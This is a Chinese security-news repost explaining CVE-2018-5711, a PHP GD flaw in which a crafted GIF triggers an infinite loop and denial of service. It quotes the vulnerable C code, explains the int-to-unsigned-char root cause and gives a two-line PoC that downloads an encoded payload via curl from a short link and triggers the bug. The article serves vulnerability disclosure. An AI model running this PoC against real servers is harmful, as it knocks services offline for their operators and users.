内容简介:CVE-2018-5711:一张GIF图片就能让服务器宕机的PHP漏洞
最 近,台湾Web漏洞挖掘大牛 Orange Tsai 在对一些Web开发框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个 PHP 的 CVE-2018-5711 ,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。在此,Orange Tsai简单地介绍了这个漏洞。
漏洞影响的PHP版本
包含以下PHP系列和其它所有PHP版本
PHP 5漏洞细节
漏洞存在于文件 ext/gd/libgd/gd_gif_in.c 中,其中在 LWZReadByte_函数 中存在一个循环(while-loop):
460 do { 461 sd->firstcode = sd->oldcode = 461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP); 463 } while (sd->firstcode == sd->clear_code);GetCode函数仅只是一个包装类, GetCode_ 才是真正的执行体:
376 static int 377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP) 378 { 379 int i, j, ret; 380 unsigned char count; ... 399 if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0) 400 scd->done = TRUE; ... 405 }GetCode_ 会调用 GetDataBlock 来读取GIF图片中的数据:
332 static int 333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP) 334 { 335 unsigned char count; 336 336 if (! ReadOK(fd,&count,1)) { 338 return -1; 339 } 340 341 *ZeroDataBlockP = count == 0; 342 343 if ((count != 0) && (! ReadOK(fd, buf, count))) { 344 return -1; 345 } 346 347 return count; 348 }以上就是涉及到的漏洞代码,你有发现一些端倪吗?
该漏洞依赖于从整形(int)到无符号字符(unsigned char)的类型转换。就像上述的:如果GetDataBlock_返回-1,则第400行中的scd->done将会被设置为True,并停止while循环。但是其定义的count是无符号字符,它总是从0到255的正数,所以这种循环停止动作是不会被触发执行的。
因此,最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。
PoC
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif $ php -r 'imagecreatefromgif("poc.gif");' Infinite loop here...由于现实网络中,很多服务器都会用GD图形的扩展库,对用户上传的图片作重新尺寸调整处理,所以该漏洞具有很强的现实危害。
后记
Orange Tsai后续会公开更多0-day和与该漏洞相关的内容。
漏洞参考:
https://bugs.php.net/bug.php?id=75571
http://php.net/ChangeLog-7.php
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711
*参考来源: orange ,FreeBuf小编clouds编译,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 不止于攻击,Memcached 漏洞可窃取服务器数据
- 邮件服务器安全性:潜在漏洞和保护方法
- 挖洞经验 | Oculus CDN服务器的XSS漏洞
- 挖洞经验 | Facebook CDN服务器的XSS漏洞
- 服务器维护引发安全漏洞?币安被窃7000比特币
- 黑客利用存在 5 年的漏洞感染 Linux 服务器,并获利
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Java Web编程从入门到实践
徐林林 / 清华大学出版社 / 2010-3 / 59.80元
《Java Web编程从入门到实践》内容简介:Java Web开发是目前最流行的网络开发技术之一。《Java Web编程从入门到实践》由浅入深,结合大量的实例系统地讲解了关于Java Web开发方面的知识。全书内容包括Java Web开发的基础知识、Java Web开发环境的搭建、JSP技术详解、Servlet技术详解、JSP+Servlet+JavaBean开发模式、JDBC接口的使用方法、Hi......一起来看看 《Java Web编程从入门到实践》 这本书的介绍吧!